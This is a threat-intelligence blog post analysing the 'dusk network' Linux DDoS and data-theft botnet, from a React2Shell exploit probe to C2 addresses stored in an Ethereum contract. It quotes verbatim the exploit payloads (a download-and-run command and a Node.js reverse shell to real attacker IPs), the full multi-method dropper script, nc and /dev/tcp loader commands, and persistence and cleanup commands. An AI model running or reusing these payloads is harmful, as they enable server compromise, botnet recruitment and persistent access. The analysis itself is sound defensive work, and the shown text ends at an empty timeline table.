Malware analysis · Threat intelligence

From a rejected React2Shell probe to an Ethereum-hosted C2: dissecting the "dusk network" Linux botnet

TL;DR A request blocked by my self-hosted web app turned out to be an exploitation attempt against React Server Components (React2Shell). Following it led to a shell dropper, a stripped static Linux ELF and finally to the operator's command-and-control infrastructure — stored in an Ethereum smart contract and readable by anyone. The malware ("dusk network") is a DDoS-for-hire bot that also steals databases, SSH keys and API tokens, and persists in every way a Linux box allows. Everything below was analysed statically: the binary was never executed. Every claim comes with a command or snippet you can run to verify it.

1. The log entry

I run a small self-hosted web application (a radio control panel) exposed to the internet. It logs every request it rejects. On 3 November 2026 the log filled up with the same kind of entry, a POST / from 91.92.40.12 flagged as Unknown host, roughly every 30 seconds from 15:23 to 15:30 local time (14:23 to 14:30 UTC).

The request was rejected before reaching any application code because the Host header did not match my domain: the scanner used the bare IP. The full request was logged anyway. Here are the two variants exactly as recorded (my server's IP replaced with <my-server-ip>).

Variant 1 (log seq 1372, 2026-11-03T14:30:49Z):

POST / HTTP/1.1
Host: <my-server-ip>:443
Accept-Encoding: gzip
Connection: close
Content-Length: 590
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad
Next-Action: x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36

------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"

{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\"then\":\"$B1337\"}","_response":{"_prefix":"var c=process.mainModule.require('child_process');c.exec('wget http://62.60.226.31:235/logic.sh -O /tmp/logic.sh || curl http://62.60.226.31:235/logic.sh -o /tmp/logic.sh; sh /tmp/logic.sh');","_formData":{"get":"$1:constructor:constructor"}}}
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"

"$@0"
------WebKitFormBoundaryx8jO2oVc6SWP3Sad--

Variant 2 (log seq 1371, same second), identical except for Content-Length: 619 and the _prefix, which is a Node.js reverse shell:

------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"

{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\"then\":\"$B1337\"}","_response":{"_prefix":"var n=process.mainModule.require('net'),c=process.mainModule.require('child_process'),s=c.spawn('/bin/sh',[]),cl=new n.Socket();cl.connect(12323,'91.92.40.12',()=>{cl.pipe(s.stdin);s.stdout.pipe(cl);s.stderr.pipe(cl);});","_formData":{"get":"$1:constructor:constructor"}}}
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"

"$@0"
------WebKitFormBoundaryx8jO2oVc6SWP3Sad--

The two _prefix payloads, reformatted for readability:

// Variant 1: download and run the stage-1 script
var c = process.mainModule.require('child_process');
c.exec('wget http://62.60.226.31:235/logic.sh -O /tmp/logic.sh || curl http://62.60.226.31:235/logic.sh -o /tmp/logic.sh; sh /tmp/logic.sh');

// Variant 2: reverse shell to the attacker
var n  = process.mainModule.require('net'),
    c  = process.mainModule.require('child_process'),
    s  = c.spawn('/bin/sh', []),
    cl = new n.Socket();
cl.connect(12323, '91.92.40.12', () => { cl.pipe(s.stdin); s.stdout.pipe(cl); s.stderr.pipe(cl); });

My app is not a Next.js app, so it was never vulnerable — but the payload was too interesting to ignore.

2. The exploit: React2Shell

The Next-Action header and the shape of the body identify an attack on React Server Components / Next.js Server Actions, the deserialization flaw publicly known as React2Shell, tracked as CVE-2025-55182 in React and CVE-2025-66478 in Next.js, rated CVSS 10.0 and disclosed on 3 December 2025 (React advisory). In short:

The result is arbitrary command execution as the user running the web server. This is mass exploitation: no fingerprinting, no Host header, just the same payload sprayed at IP addresses.

3. Stage 1: logic.sh, a downloader that tries everything

The first payload fetches http://62.60.226.31:235/logic.sh, a brute-force downloader. Its structure is simple:

download_and_run() {
  binary=$1
  url="http://62.60.226.31:235/$binary"
  # try ~40 download methods in turn; the first one that works runs "./$binary logic"
}
for arch in x86_64.dusk x86_32.dusk arm7.dusk; do download_and_run "$arch"; done
Full logic.sh, verbatim (click to expand)
#!/bin/sh
P=$$

download_and_run() {
binary=$1
url="http://62.60.226.31:235/$binary"

./$binary logic 2>/dev/null && return
wget $url -O $binary 2>/dev/null && chmod +x $binary && ./$binary logic && rm -rf $binary && return
wget --no-check-certificate $url -O $binary 2>/dev/null && chmod +x $binary && ./$binary logic && rm -rf $binary && return
wget -q $url -O $binary 2>/dev/null && chmod +x $binary && ./$binary logic && rm -rf $binary && return
curl -o $binary $url 2>/dev/null && chmod +x $binary && ./$binary logic && rm -rf $binary && return
curl -L -o $binary $url 2>/dev/null && chmod +x $binary && ./$binary logic && rm -rf $binary && return
curl -k -o $binary $url 2>/dev/null && chmod +x $binary && ./$binary logic && rm -rf $binary && return
curl --insecure -o $binary $url 2>/dev/null && chmod +x $binary && ./$binary logic && rm -rf $binary && return
busybox wget $url -O $binary 2>/dev/null && chmod +x $binary && ./$binary logic && rm -rf $binary && return
busybox curl -o $binary $url 2>/dev/null && chmod +x $binary && ./$binary logic && rm -rf $binary && return
fetch -o $binary $url 2>/dev/null && chmod +x $binary && ./$binary logic && rm -rf $binary && return
lwp-download $url $binary 2>/dev/null && chmod +x $binary && ./$binary logic && rm -rf $binary && return
GET $url 2>/dev/null > $binary && chmod +x $binary && ./$binary logic && rm -rf $binary && return
aria2c -o $binary $url 2>/dev/null && chmod +x $binary && ./$binary logic && rm -rf $binary && return
axel -o $binary $url 2>/dev/null && chmod +x $binary && ./$binary logic && rm -rf $binary && return
http -d -o $binary $url 2>/dev/null && chmod +x $binary && ./$binary logic && rm -rf $binary && return
lftp -c "get $url -o $binary" 2>/dev/null && chmod +x $binary && ./$binary logic && rm -rf $binary && return
lynx -source $url 2>/dev/null > $binary && chmod +x $binary && ./$binary logic && rm -rf $binary && return
links -source $url 2>/dev/null > $binary && chmod +x $binary && ./$binary logic && rm -rf $binary && return
w3m -dump_source $url 2>/dev/null > $binary && chmod +x $binary && ./$binary logic && rm -rf $binary && return

tftp -g -r $binary 62.60.226.31 2>/dev/null && chmod +x $binary && ./$binary logic && rm -rf $binary && return
busybox tftp -g -r $binary 62.60.226.31 2>/dev/null && chmod +x $binary && ./$binary logic && rm -rf $binary && return
printf "get $binary\nquit\n" | ftp -n 62.60.226.31 2>/dev/null && chmod +x $binary && ./$binary logic && rm -rf $binary && return
busybox ftpget 62.60.226.31 $binary $binary 2>/dev/null && chmod +x $binary && ./$binary logic && rm -rf $binary && return

node -e "require('http').get('$url',(r)=>{let d=[];r.on('data',(c)=>d.push(c));r.on('end',()=>{require('fs').writeFileSync('$binary',Buffer.concat(d),{mode:0o777});require('child_process').exec('./$binary logic')})})" 2>/dev/null && return
nodejs -e "require('http').get('$url',(r)=>{let d=[];r.on('data',(c)=>d.push(c));r.on('end',()=>{require('fs').writeFileSync('$binary',Buffer.concat(d),{mode:0o777});require('child_process').exec('./$binary logic')})})" 2>/dev/null && return

python3 -c "import urllib.request; urllib.request.urlretrieve('$url', '$binary')" 2>/dev/null && chmod +x $binary && ./$binary logic && rm -rf $binary && return
python -c "import urllib; urllib.urlretrieve('$url', '$binary')" 2>/dev/null && chmod +x $binary && ./$binary logic && rm -rf $binary && return
python2 -c "import urllib; urllib.urlretrieve('$url', '$binary')" 2>/dev/null && chmod +x $binary && ./$binary logic && rm -rf $binary && return
python3 -c "import urllib.request; open('$binary','wb').write(urllib.request.urlopen('$url').read())" 2>/dev/null && chmod +x $binary && ./$binary logic && rm -rf $binary && return
python -c "import urllib2; open('$binary','wb').write(urllib2.urlopen('$url').read())" 2>/dev/null && chmod +x $binary && ./$binary logic && rm -rf $binary && return
python2 -c "import urllib2; open('$binary','wb').write(urllib2.urlopen('$url').read())" 2>/dev/null && chmod +x $binary && ./$binary logic && rm -rf $binary && return

perl -e 'use LWP::Simple; getstore("'$url'", "'$binary'")' 2>/dev/null && chmod +x $binary && ./$binary logic && rm -rf $binary && return
php -r "file_put_contents('$binary', file_get_contents('$url'));" 2>/dev/null && chmod +x $binary && ./$binary logic && rm -rf $binary && return
ruby -e "require 'open-uri'; File.write('$binary', open('$url').read)" 2>/dev/null && chmod +x $binary && ./$binary logic && rm -rf $binary && return

printf "GET /$binary HTTP/1.0\r\nHost: 62.60.226.31:235\r\n\r\n" | nc 62.60.226.31 235 2>/dev/null | sed '1,/^\r$/d' > $binary && [ -s $binary ] && chmod +x $binary && ./$binary logic && rm -rf $binary && return
printf "GET /$binary HTTP/1.0\r\nHost: 62.60.226.31:235\r\n\r\n" | nc.traditional 62.60.226.31 235 2>/dev/null | sed '1,/^\r$/d' > $binary && [ -s $binary ] && chmod +x $binary && ./$binary logic && rm -rf $binary && return
printf "GET /$binary HTTP/1.0\r\nHost: 62.60.226.31:235\r\n\r\n" | nc.openbsd 62.60.226.31 235 2>/dev/null | sed '1,/^\r$/d' > $binary && [ -s $binary ] && chmod +x $binary && ./$binary logic && rm -rf $binary && return
printf "GET /$binary HTTP/1.0\r\nHost: 62.60.226.31:235\r\n\r\n" | netcat 62.60.226.31 235 2>/dev/null | sed '1,/^\r$/d' > $binary && [ -s $binary ] && chmod +x $binary && ./$binary logic && rm -rf $binary && return
printf "GET /$binary HTTP/1.0\r\nHost: 62.60.226.31:235\r\n\r\n" | busybox nc 62.60.226.31 235 2>/dev/null | sed '1,/^\r$/d' > $binary && [ -s $binary ] && chmod +x $binary && ./$binary logic && rm -rf $binary && return
printf "GET /$binary HTTP/1.0\r\nHost: 62.60.226.31:235\r\n\r\n" | ncat 62.60.226.31 235 2>/dev/null | sed '1,/^\r$/d' > $binary && [ -s $binary ] && chmod +x $binary && ./$binary logic && rm -rf $binary && return

exec 3<>/dev/tcp/62.60.226.31/235 && printf "GET /$binary HTTP/1.0\r\n\r\n" >&3 && cat <&3 | sed '1,/^\r$/d' > $binary && [ -s $binary ] && chmod +x $binary && ./$binary logic && rm -rf $binary && return
}

for arch in x86_64.dusk x86_32.dusk arm7.dusk; do
download_and_run "$arch"
done

Things worth noting:

4. Stage 2: the reverse-shell path

The second payload opens a shell to 91.92.40.12:12323. The listener on that port immediately pushes two commands to whoever connects. Verbatim:

stty -echo 2>/dev/null

for d in /tmp /var/tmp /dev/shm /var/run /run /var/lock; do cd $d 2>/dev/null || continue; rm -f bot* .b* 2>/dev/null; (timeout 10 nc 91.92.40.12 9999 > .bins || nc -w 10 91.92.40.12 9999 > .bins || (nc 91.92.40.12 9999 > .bins & sleep 10; killall nc 2>/dev/null) || (exec 3<>/dev/tcp/91.92.40.12/9999 && cat <&3 > .bins)) & wait; if [ -s .bins ]; then split -b 150000 .bins .b_ 2>/dev/null; for f in .b_*; do chmod 777 $f 2>/dev/null || chmod +x $f 2>/dev/null; (./$f logic 2>/dev/null || sh $f logic 2>/dev/null || /lib*/ld-*.so* $f logic 2>/dev/null || /lib*/ld-linux*.so* $f logic 2>/dev/null || /lib64/ld-linux-x86-64.so.2 $f logic 2>/dev/null || /system/bin/linker $f logic 2>/dev/null || cp $f /tmp/.x && /tmp/.x logic 2>/dev/null) & done; break; fi; done

The same commands, only re-indented:

stty -echo 2>/dev/null

for d in /tmp /var/tmp /dev/shm /var/run /run /var/lock; do
  cd $d 2>/dev/null || continue
  rm -f bot* .b* 2>/dev/null
  (timeout 10 nc 91.92.40.12 9999 > .bins \
    || nc -w 10 91.92.40.12 9999 > .bins \
    || (nc 91.92.40.12 9999 > .bins & sleep 10; killall nc 2>/dev/null) \
    || (exec 3<>/dev/tcp/91.92.40.12/9999 && cat <&3 > .bins)) & wait
  if [ -s .bins ]; then
    split -b 150000 .bins .b_ 2>/dev/null
    for f in .b_*; do
      chmod 777 $f 2>/dev/null || chmod +x $f 2>/dev/null
      (./$f logic 2>/dev/null \
        || sh $f logic 2>/dev/null \
        || /lib*/ld-*.so* $f logic 2>/dev/null \
        || /lib*/ld-linux*.so* $f logic 2>/dev/null \
        || /lib64/ld-linux-x86-64.so.2 $f logic 2>/dev/null \
        || /system/bin/linker $f logic 2>/dev/null \
        || cp $f /tmp/.x && /tmp/.x logic 2>/dev/null) &
    done
    break
  fi
done

It looks for a writable directory, pulls a blob from port 9999, splits it into 150 kB chunks and tries to execute each chunk with every loader it can think of, including the Android linker. The first thing it does is delete bot* files: other botnets' leftovers. When I connected to port 9999 it returned nothing; it probably serves only registered shells, or only during a time window.

5. The binary: first look

I downloaded x86_64.dusk and worked only on a copy, on a Windows machine that cannot run it.

$ sha256sum x86_64.dusk
d917efa0b3b6bf6d34a93b627cc91b88534392a3aac474b5101fd1c6937bb0cf  x86_64.dusk
$ file x86_64.dusk
x86_64.dusk: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), static-pie linked, stripped

What it is built with:

Evidence Conclusion
strings has No error information, no GLIBC_ symbols musl libc (glibc would say Success)
.note.gnu.property, GCC-style prologues and stack canaries GCC
strings such as mbedtls_ssl_tls13_calculate_verify_data, MBEDTLS_SSL_CLIENT_HELLO, DTLS 1.3 is not yet supported. mbedTLS 3.x for TLS
static-pie, three architectures from one script a musl cross-toolchain; plain C
strings -n 4 x86_64.dusk | grep -E '^No error information$'     # musl
strings -n 6 x86_64.dusk | grep -c mbedtls_                      # mbedTLS

What the plain strings already reveal:

strings -n 6 x86_64.dusk | grep -E 'dusk|Juuvi|sydney'
dusk network on top
from the heart of sydney AU
contact @Juuviorg on telegram to buy
</table><hr><div class=sz>dusknetwork file viewer</div></body></html>

The last line of the banner says it all: access to the botnet is for sale. Other plain strings include ~668 legitimate URLs (Google, Bing, news sites, government portals), a dozen browser User-Agent templates, fake SSH banners (SSH-2.0-PuTTY_Release_0.79, 0.80, 0.81, 0.82, 0.83), FiveM game-server requests (User-Agent: CitizenFX), a database dump command line (%s %s --socket=%s --single-transaction --skip-lock-tables --all-databases 2>%s/err | head -c %d > %s), a systemd unit (Description=System Network Helper) and an eth_call JSON-RPC template.

The interesting parts, however, are encrypted.

6. Cracking the string encryption

6.1 Finding the routine

The program entry contains many calls like this one (disassembled with objdump -d -M intel):

f8e2: mov    esi,0xa                          ; length = 10
f8e7: mov    ecx,0x85c9fc1b                   ; a1
f8ec: mov    edx,0xf1c3b17e                   ; a0
f8f1: mov    rax,QWORD PTR [rip+0xd65d8]      ; 0xe5ed0: first 8 encrypted bytes (.rodata)
f8f8: mov    r9d,0x91ffc903                   ; a3
f8fe: mov    r8d,0xcafc86                     ; a2
f904: mov    QWORD PTR [rsp+0xf0],rax         ; buffer[0..7]
f90c: mov    eax,0x6fa5
f911: mov    WORD PTR [rsp+0xf8],ax           ; buffer[8..9]
f919: lea    rax,[rsp+0xf0]
f921: sub    rsp,0x8                          ; padding slot (s9, unused)
f925: mov    QWORD PTR [rsp+0x8],rax
f92a: mov    rdi,rax                          ; rdi = encrypted buffer
f92d: push   0x5de6f130                       ; s8
f932: push   0xffffffffa1b0d370               ; s7
f937: push   0x23a92bc8                       ; s6
f93c: push   0x670f1ba0                       ; s5 (nonce word 2)
f941: push   0x47f6cae6                       ; s4 (nonce word 1)
f946: push   0x5af49d08                       ; s3
f94b: push   0xffffffffef395b32               ; s2
f950: push   0xffffffff88372870               ; s1
f955: push   0xffffffffb2eb5f1b               ; s0
f95a: call   0x40c80                          ; returns "/proc/self"

To reproduce: objdump -d -M intel --no-show-raw-insn x86_64.dusk | grep -A40 '^ *f8e2:'.

Function 0x40c80 builds a 256-bit key from the eight constants, then calls a routine that loads the four constants expand 32-byte k, runs 10 double rounds of the ChaCha quarter-round and XORs the keystream. That is ChaCha20.

6.2 The scheme

Each string goes through two layers, a few through three:

  1. ChaCha20 with - key = [a0^s0, a1^s1, a2^s2, a3^s3, a0^s3, a1^s2, a2^s1, a3^s0] (eight little-endian 32-bit words), - nonce = (s4, s5, 0), block counter starting at 1.
  2. A positional XOR with ciphertext feedback. For byte i: out[i] = chacha[i] ^ (0x5b + 0x37·i) ^ (s6 >> 8·(i%4)) ^ (s7 >> 8·(i%4)) ^ (s8 >> 8·(i%4)) ^ prev, where prev is s6 >> 24 for the first byte and the previous ciphertext byte afterwards (a CBC-like chain).
  3. For the most sensitive strings (the C2 domains), one more XOR with one or two 16-byte masks, or a rotating dword.

The routine was clearly written as a macro: it is inlined more than 100 times, and the binary contains 14 separate copies of ChaCha20, one per compilation unit. This defeats simple signatures and "find the decryption function" approaches.

6.3 Decrypting everything without running anything

Instead of executing the sample, I emulated only the instruction windows that prepare each decryption, using Unicorn and Capstone:

Result: 152 out of 152 call sites decrypted, plus 6 SIMD-style sites decrypted by hand. The full list is in analysis/strings.txt.

6.4 Verify it yourself

This self-contained script decrypts one of the C2 domains straight from the file: it only reads bytes, executes nothing, and needs no third-party packages.

#!/usr/bin/env python3
# verify_c2.py - decrypt two hidden C2 domains from x86_64.dusk (static, read-only)
import struct, sys
M = 0xffffffff
def rotl(x, n): return ((x << n) | (x >> (32 - n))) & M
def qr(s, a, b, c, d):
    s[a]=(s[a]+s[b])&M; s[d]=rotl(s[d]^s[a],16); s[c]=(s[c]+s[d])&M; s[b]=rotl(s[b]^s[c],12)
    s[a]=(s[a]+s[b])&M; s[d]=rotl(s[d]^s[a],8);  s[c]=(s[c]+s[d])&M; s[b]=rotl(s[b]^s[c],7)
def chacha20(key, n0, n1, data):               # counter = 1, nonce = (n0, n1, 0)
    st = [0x61707865,0x3320646e,0x79622d32,0x6b206574, *struct.unpack('<8I', key), 1, n0, n1, 0]
    w = st[:]
    for _ in range(10):
        qr(w,0,4,8,12); qr(w,1,5,9,13); qr(w,2,6,10,14); qr(w,3,7,11,15)
        qr(w,0,5,10,15); qr(w,1,6,11,12); qr(w,2,7,8,13); qr(w,3,4,9,14)
    ks = b''.join(struct.pack('<I', (w[i]+st[i]) & M) for i in range(16))
    return bytes(a ^ b for a, b in zip(data, ks))

d = open(sys.argv[1], 'rb').read()
r = lambda off: d[off:off+16]                  # .rodata: file offset == virtual address
# (ciphertext, key lo, key hi, nonce0, nonce1, mask1, mask2) - read from code at 0x23a70 / 0x23b98
for ct, k1, k2, n0, n1, x1, x2 in [
    (0xe1dc0, 0xe1d10, 0xe1d20, 0xfcaa93e1, 0xe014776e, 0xe1d30, 0xe1d40),
    (0xe1db0, 0xe1cd0, 0xe1ce0, 0xd2e97ae6, 0x17beaa9d, 0xe1cf0, 0xe1d00)]:
    p = chacha20(r(k1) + r(k2), n0, n1, r(ct))
    print(bytes(a ^ b ^ c for a, b, c in zip(p, r(x1), r(x2))).decode())
$ python3 verify_c2.py x86_64.dusk
sdkconnecter.com
sdkconnect121.st

7. What the bot does

Grouped from the decrypted strings and from the code around them.

7.1 DDoS for hire

The FiveM requests, exactly as stored in the binary (some in plain text, some encrypted):

GET /info.json HTTP/1.1
Host: %s:%d
User-Agent: CitizenFX
Accept: */*

GET /info.json HTTP/1.1
Host: %s:%d
User-Agent: CitizenFX/1
Accept: */*

GET /info.json HTTP/1.1
Host: %s:%d
User-Agent: curl/7.83.1-DEV
Accept: */*
Connection: close

POST /client HTTP/1.1
Host: %s:%d
User-Agent: CitizenFX/1
Content-Type: application/json
Content-Length: %d

{"method":"getConfiguration","X-CitizenFX-Token":"%s"}

POST /client HTTP/1.1
Host: %s:%d
User-Agent: CitizenFX/1
Content-Type: application/json
Content-Length: %d

{"method":"getEndpoints","token":"%s"}

7.2 Data theft

7.3 Persistence, in layers

The bot copies itself as DUSKNET.ONTOPDUSKBOT into /tmp, /var/tmp and /dev/shm, then installs every persistence mechanism it can:

Mechanism Where
systemd /etc/systemd/system/<name>.service, enabled with systemctl
SysV init /etc/init.d/<name> plus update-rc.d / chkconfig / rc-update and an S90 symlink
inittab a ::respawn: line
cron /etc/cron.d, /etc/crontab, root's crontab, @reboot, and a watchdog job every 5 minutes
no cron? it installs and starts one (apt, apk, pacman, yum/dnf, busybox crond)
hardware watchdog /dev/watchdog, /sys/class/watchdog/*/nowayout

The exact decrypted strings (%s and %d are printf placeholders filled at runtime) are listed below. Plain-text strings, found directly with strings, are marked [plain].

# self-copies
/tmp/DUSKNET.ONTOPDUSKBOT
/var/tmp/DUSKNET.ONTOPDUSKBOT
/dev/shm/DUSKNET.ONTOPDUSKBOT
mkdir /%s/ && >/%s/%s && cd /%s/ >/dev/null
mv '%s' /%s/%s && chmod 777 /%s/%s >/dev/null

# systemd
/etc/systemd/system/%s.service
[Unit]                                   [plain]
After=network.target                     [plain]
[Service]                                [plain]
Type=forking                             [plain]
ExecStart=/%s%s%s\n
KillMode=process                         [plain]
RestartSec=10                            [plain]
[Install]                                [plain]
WantedBy=multi-user.target               [plain]
Description=System Network Helper        [plain]
/usr/bin/systemctl
systemctl daemon-reload 2>/dev/null; systemctl enable %s 2>/dev/null
systemctl daemon-reload 2>/dev/null
net-helper%d                             [plain]

# SysV init script
/etc/init.d/%s
### BEGIN INIT INFO                      [plain]
# Provides:          %s                  [plain]
# Required-Start:    $network            [plain]
# Default-Start:     2 3 4 5             [plain]
# Default-Stop:      0 1 6               [plain]
### END INIT INFO                        [plain]
case "$1" in                             [plain]
  start|"") /%s%s%s & ;;                 [plain]
  stop) kill $(cat /tmp/.%s.pid 2>/dev/null) 2>/dev/null ;;\n
  restart) $0 stop; sleep 1; $0 start ;; [plain]
esac                                     [plain]
exit 0                                   [plain]
update-rc.d %s defaults 2>/dev/null; chkconfig %s on 2>/dev/null; rc-update add %s default 2>/dev/null; ln -sf %s /etc/rc2.d/S90%s 2>/dev/null

# inittab
/etc/inittab
::respawn:/%s%s%s\n

# cron
/etc/cron.d/%s
/etc/crontab
/var/spool/cron/crontabs
/var/spool/cron/crontabs/root
@reboot %s%s%s                           [plain]
*/5 * * * * pid=$(cat /tmp/.%s.pid 2>/dev/null); { [ -z "$pid" ] || [ ! -e /proc/$pid ] || grep -q '^State:.*Z' /proc/$pid/status 2>/dev/null; } && [ -x %s ] && %s%s%s\n
*/5 * * * * root pid=$(cat /tmp/.%s.pid 2>/dev/null); { [ -z "$pid" ] || [ ! -e /proc/$pid ] || grep -q '^State:.*Z' /proc/$pid/status 2>/dev/null; } && [ -x /%s ] && /%s%s%s\n
/tmp/.%s.pid
killall -0 crond 2>/dev/null || killall -0 cron 2>/dev/null
/usr/sbin/crond -b 2>/dev/null || /usr/sbin/cron 2>/dev/null || service cron start 2>/dev/null || systemctl start cron 2>/dev/null
/usr/sbin/crond -b 2>/dev/null || /usr/sbin/cron 2>/dev/null || /bin/busybox crond -b 2>/dev/null
/usr/sbin/crond -b 2>/dev/null || /usr/sbin/cron 2>/dev/null || /sbin/crond -b 2>/dev/null
/bin/busybox crond -b 2>/dev/null
dcron                                    [plain]

# installing cron if missing
apt-get                                  [plain]
opkg                                     [plain]
pacman                                   [plain]
DEBIAN_FRONTEND=noninteractive apt-get install -y -qq %s 2>/dev/null
%s install -y -q %s 2>/dev/null
apk add --quiet %s 2>/dev/null
pacman -S --noconfirm %s 2>/dev/null

# removing its own units (re-install / upgrade path)
rm -f /etc/rc*.d/*%s* 2>/dev/null
(sleep 2; systemctl disable %s 2>/dev/null; systemctl stop --no-block %s 2>/dev/null; systemctl daemon-reload 2>/dev/null) & >/dev/null 2>&1

# hardware watchdog
/dev/watchdog
/dev/misc/watchdog
/sys/class/watchdog/%s/nowayout
/sys/class/watchdog/%s/state

Service names follow the pattern net-helper<N>. A leftover debug message sums up the philosophy: "[crash] fatal signal — clean death, respawn layers take over".

7.4 Housekeeping

It removes older versions of itself and, apparently, competitors:

rm -f /etc/init.d/net-helper* /etc/cron.d/net-helper* /etc/systemd/system/net-helper*.service /etc/rc*.d/*net-helper* /tmp/.net-helper*.pid 2>/dev/null
for d in /tmp/.x*; do [ -d "$d" ] || continue; p=${d#/tmp/.x}; case "$p" in *[!0-9]*) continue;; esac; kill -0 "$p" 2>/dev/null || rm -rf "$d"; done 2>/dev/null
rm -rf /tmp/.x* 2>/dev/null
rm -f /tmp/.v3s-%s-* 2>/dev/null
rm -f /tmp/.kpa-%s 2>/dev/null
rm -f %s/.e.tmp.* 2>/dev/null
rm -rf %s 2>/dev/null
find /tmp /var/tmp /dev/shm /var/lib /etc -maxdepth 2 -name '.a' -type f -delete 2>/dev/null
find /tmp /var/tmp /dev/shm /var/lib /etc -maxdepth 2 -name '.d' -type f -delete 2>/dev/null

It fingerprints the host with /proc/sys/kernel/random/boot_id, /proc/self/exe and /proc/%d/exe, and geolocates itself with this request:

GET /json/?fields=status,country,city,isp,as,query HTTP/1.1
Host: ip-api.com
User-Agent: curl/8.2.1
Connection: close

It registers with the C2 by sending the fields of these plain-text format strings: arch=%s, uid=%d, sys=%s, node=%s, release=%s, machine=%s, sysinfo, %s|%lld|%lld.

8. How the bot finds its masters

There is no hard-coded C2 IP address in the binary. The C2 list comes from three redundant sources.

8.1 Ethereum (primary)

Decrypted strings:

# RPC endpoints (decrypted)
ethereum-rpc.publicnode.com
gateway.tenderly.co
eth.rpc.blxrbdn.com
eth-mainnet.public.blastapi.io

# contract address and ENS namehash (decrypted)
d06df9e8dfab1a67b59bac76a4675d86787ba4d4
6a096bd9c6ee416714785e19ac1f6c357f6be9dee3883838aa7b9545aa8e40b2

# call data template for text(node, "ip") (decrypted)
0x59d1d43c%s000000000000000000000000000000000000000000000000000000000000004000000000000000000000000000000000000000000000000000000000000000026970000000000000000000000000000000000000000000000000000000000000

# JSON-RPC templates
{"jsonrpc":"2.0","method":"eth_call","params":[{"to":"0x%s","data":"%s"},"latest"],"id":1}                [plain]
{"jsonrpc":"2.0","method":"eth_call","params":[{"to":"0x%s","data":"0x3b3b57de%s"},"latest"],"id":2}     (decrypted)
"result":"0x                                                                                             [plain]

Reading the call data template piece by piece:

Bytes Meaning
59d1d43c function selector of text(bytes32,string)
%s the 32-byte node (namehash), filled at runtime
0000000000000000000000000000000000000000000000000000000000000040 offset of the string argument (64 bytes)
0000000000000000000000000000000000000000000000000000000000000002 string length: 2
6970000000000000000000000000000000000000000000000000000000000000 "ip" (69 70) padded to 32 bytes

0x3b3b57de is the selector of addr(bytes32), used by the second template. In other words, the bot asks a public Ethereum node "what is the ip text record of this name?", the same call wallets make to resolve ENS names.

8.2 Domains over DNS-over-HTTPS (fallback)

Eight domains, decrypted from a switch with eight cases and resolved through POST /dns-query (DoH):

sdkconnecter.com            sdkconnect121.st
lovefromallareas.at         iwonderifulovemeaswell.vg
iloveuevenifudontlovemeback.is
okiloveyoupleasedonttouchme.net
thespacemachines.st         dnsrecordsarepowerful.com

The default C2 port, used whenever an entry does not specify one, is 6969 (mov r15d, 0x1b39).

8.3 Local cache

The last known list is stored in a hidden file <dir>/.d, in the format [count] followed by count entries of [len][host][port, 2 bytes big-endian], XOR-encoded with the 8-byte key 73 a5 1c e7 4b 92 d8 3f (first byte additionally ^ 0x73). This lets the operator push new nodes to the bots without recompiling.

9. Following the C2 onto the blockchain

9.1 Reading the record, exactly like the bot does

Reading Ethereum is free, anonymous and leaves no trace on-chain. This single command reproduces the bot's request:

curl -s https://ethereum-rpc.publicnode.com \
  -H 'Content-Type: application/json' \
  -d '{"jsonrpc":"2.0","id":1,"method":"eth_call","params":[{"to":"0xd06df9e8dfab1a67b59bac76a4675d86787ba4d4","data":"0x59d1d43c6a096bd9c6ee416714785e19ac1f6c357f6be9dee3883838aa7b9545aa8e40b200000000000000000000000000000000000000000000000000000000000000400000000000000000000000000000000000000000000000000000000000000002697000000000000000000000000000000000000000000000000000000000000000"},"latest"]}' \
| python3 -c "import sys,json; h=json.load(sys.stdin)['result'][2:]; n=int(h[64:128],16); print(bytes.fromhex(h[128:128+2*n]).decode())"
102.220.161.194,102.220.163.203,196.251.121.249,62.60.226.173,94.154.43.235,130.12.181.199

These are the six live C2 servers. Note 62.60.226.173: it is in the same /24, with the same hosting provider, as the payload server 62.60.226.31.

9.2 The namehash is dusknetwork.eth

An ENS namehash cannot be reversed, but it can be checked against a guess. The banner says "dusk network":

# pip install pycryptodome
from Crypto.Hash import keccak
def k(b): h = keccak.new(digest_bits=256); h.update(b); return h.digest()
def namehash(name):
    node = b'\0' * 32
    for label in reversed(name.split('.')):
        node = k(node + k(label.encode()))
    return node.hex()
print(namehash('dusknetwork.eth'))
# 6a096bd9c6ee416714785e19ac1f6c357f6be9dee3883838aa7b9545aa8e40b2  <- identical to the one in the binary

9.3 A fake resolver

0xd06df9e8dfab1a67b59bac76a4675d86787ba4d4 is not an official ENS resolver. It is a small, unverified contract (1,921 bytes of bytecode) that exposes text() and setText() with the same signatures. ENS-aware apps never look at it: the bot simply calls it directly with the namehash as a key.

Looking up dusknetwork.eth in the legacy ENS registry shows that the name was registered years ago by an unrelated previous owner and expired on 25 June 2025. "Dusk Network" is also the name of a legitimate blockchain project, which explains the earlier registration. The operator later registered the name again through the new ENS contracts, which is why Etherscan shows their wallet as dusknetwork.eth.

9.4 Reconstructing history with a block explorer

Etherscan or the free Blockscout API give the full transaction history of the contract's creator:

curl -s https://eth.blockscout.com/api/v2/addresses/0xd06df9e8dfab1a67b59bac76a4675d86787ba4d4 \
  | python3 -c "import sys,json; d=json.load(sys.stdin); print(d['creator_address_hash'], d['creation_transaction_hash'])"
# 0xec967E414b3d192eE4090fAdfF9FAf1B44d66495 0xdb2ed52837c4d16f2f20eff53ee89db74358e70757a1d053b0a43df0eb225f35

curl -s https://eth.blockscout.com/api/v2/addresses/0xec967e414b3d192ee4090fadff9faf1b44d66495/transactions \
  | python3 -c "import sys,json; [print(t['timestamp'], t.get('method'), (t['to'] or {}).get('hash')) for t in json.load(sys.stdin)['items'][::-1]]"

Or in a browser:

10. The operator's timeline

All times are UTC.

Time (UTC) Action Transaction hash
